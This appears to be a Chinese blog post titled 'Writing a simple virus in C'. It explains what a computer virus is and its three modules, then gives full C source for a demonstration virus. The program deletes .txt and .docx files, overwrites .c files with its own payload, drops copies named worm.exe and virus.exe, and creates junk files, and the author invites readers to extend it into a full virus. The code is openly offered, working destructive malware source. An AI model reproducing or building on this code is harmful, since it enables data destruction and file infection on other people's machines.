C语言编写简单病毒
来源:互联网 发布:大数据开发工程师简历 编辑:程序博客网 时间:2024/06/06 19:11
前言
最近一段时间,由于手头上没有什么要紧的任务,所以有时间能够对计算机病毒这一块的知识进行一个浅显的研究。为什么要对病毒进行了解研究,其实就是为了更好的对付病毒。上学的时候一直以为计算机病毒是一个只有高智商的计算机天才才能够编写出来的东西,后来通过从事编程行业才逐渐觉得编写出一个符合计算机病毒定义的病毒程序并不需要特别高深的知识,需要的钻研精神和耐心以及基础知识就可以了。其实计算机病毒和普通程序并没有太大的不同,只是编写及运行的目的不一样而已。下面就简单写一下病毒的相关概念性知识,明确了概念才能够继续下去。
什么是计算机病毒
计算机病毒(computer virus)是一个程序,一段可执行的代码。
根据《中华人民共和国计算机信息系统安全保护条例》对其定义是“编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。
计算机病毒的结构
一般情况下,病毒在结构上分为三个功能模块:感染机制,触发机制,有效载荷(骚扰计算机的方法)。
计算机病毒的编写语言有哪些
计算机病毒的编写语言有C、delphi、汇编、机器码。例如“熊猫烧香”病毒就是用delphi编写的。
自己编写的C语言病毒程序
其实这个病毒程序充其量算一个演示程序,包含了有效载荷以及感染机制两部分,当然,可以在我写的程序上进行拓展以及改写变成真正符合定义的病毒程序。
代码
/*This is a flag:start*/#include<stdio.h>#include<io.h>#include<Windows.h>#include<stdlib.h>#include<string.h>#include <direct.h>#define INFECT_PATH "E:\\TMP"#define DELETE_FILE1 "E:\\TMP\\*.txt"#define DELETE_FILE2 "E:\\TMP\\*.docx"#define CREAT_EXE1 "E:\\TMP\\worm.exe"#define CREAT_EXE2 "E:\\TMP\\virus.exe"#define Targetfile "E:\\TMP\\*.c"#define Virusfile "E:\\E_KILL.c"void MakeRubbish(void);void CreatEXE(void);void Remove(void);void InfectFile(void);void copyfile(char* infile,char *outfile);void MakeRubbish(void){ int i=0; FILE *fp=NULL; char* path=NULL; char* NewName=NULL; char tempname[]="XXXXXX"; path=INFECT_PATH; if(!_chdir(path)) { printf("open DIR success\n"); } else { printf("open DIR failed\n"); perror("Error: "); } NewName=_mktemp(tempname); fp=fopen(NewName,"w"); fclose(fp);}void CreatEXE(void){ int i; char* s[2]={CREAT_EXE1,CREAT_EXE2}; for(i=0;i<2;i++) { open(s[i],0x0100,0x0080); copyfile(Virusfile,s[i]); }}void Remove(void){ int done; int i; struct _finddata_t ffblk; char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; for (i = 0; i < 2; i++) { done = _findfirst(documenttype[i],&ffblk); if(done!=-1) { printf("delete %s\n",ffblk.name); remove(ffblk.name); while (!_findnext(done,&ffblk)) { printf("delete %s\n",ffblk.name); remove(ffblk.name); } } _findclose(done); }}void copyfile(char* infile,char* outfile){ FILE *in,*out; in=fopen(infile,"r"); out=fopen(outfile,"w"); while(!feof(in)) { fputc(fgetc(in),out); } fclose(in); fclose(out);}void InfectFile(void){ int done; int i; struct _finddata_t ffblk; char *documenttype = Targetfile; done = _findfirst(documenttype,&ffblk); copyfile(Virusfile,ffblk.name); while (!_findnext(done,&ffblk)) { copyfile(Virusfile,ffblk.name); //感染 } _findclose(done);}/*This is a flag:end*/int main(void){ MakeRubbish( ); //制造垃圾文件 CreatEXE( ); //制造可执行程序 Remove( ); //删除文件 InfectFile( ); //感染文件 system("pause"); return 0;}
简单讲解及运行结果
该病毒目的:
1.将一个指定目录内的所有.c文件感染成指定内容(不是复制/添加病毒自身代码至.c文件)。
2.将该目录下的所有.txt,.docx文件删除。
3.在该目录下制造垃圾文件。
4.在该目录下放置.exe垃圾。
在该病毒运行前,首先自己需要在建立一个实验目录以及一个.c文件。例如我在E盘建立一个TMP文件夹和一个E_ KILL.c 文件。
其中E_KILL.c内容如下:
#include<stdio.h>#include<Windows.h>int main(void){ printf("It is virus\n"); system("pause"); return 0;}
TMP目录内容如下:
e.c以及yy.c中内容如下:
#include<stdio.h>#include<Windows.h>int main(void){ printf("TEST\n"); printf("TEST\n"); printf("TEST\n"); printf("TEST\n"); printf("TEST\n"); system("pause"); return 0;}
然后开始运行病毒程序:
运行结束后打开TMP文件夹:
其中e.c yy.c内容:
结束
- C语言编写简单病毒
- 用C语言编写简单的病毒
- 用C语言编写简单的病毒
- 用C语言编写简单的病毒
- 怎样用C语言编写病毒
- C语言编写简易病毒
- C编写的简单病毒程序
- C语言写的简单病毒程序
- 利用C编写病毒
- C语言病毒源代码
- C语言病毒
- C语言病毒代码
- C语言病毒代码
- C语言病毒
- C语言病毒代码
- C简单病毒程序
- C简单病毒程序
- 简单的C病毒
- JAVA中的序列化
- bzoj 1264: [AHOI2006]基因匹配Match
- CentOS、Ubuntu、Debian三个linux比较异同
- 《Java核心技术》第10版读书笔记之Chap5(4)——基本数据类型的Wrapper类、自动拆箱与装箱及过程中的坑
- Windows环境下本地数据源Mnist的Tensorflow实例(Python3.6)
- C语言编写简单病毒
- 水平跑马灯TextView
- 写给大数据开发初学者的话 | 附教程
- java的动态代理机制详解
- python中从str中提取元素到list以及将list转换为str
- 【angular】you have to be inside an Angular CLI project in order to use the serve command
- C语言操作符总结
- C# winform 将dataGridView导出到excel
- mybatis中的foreach标签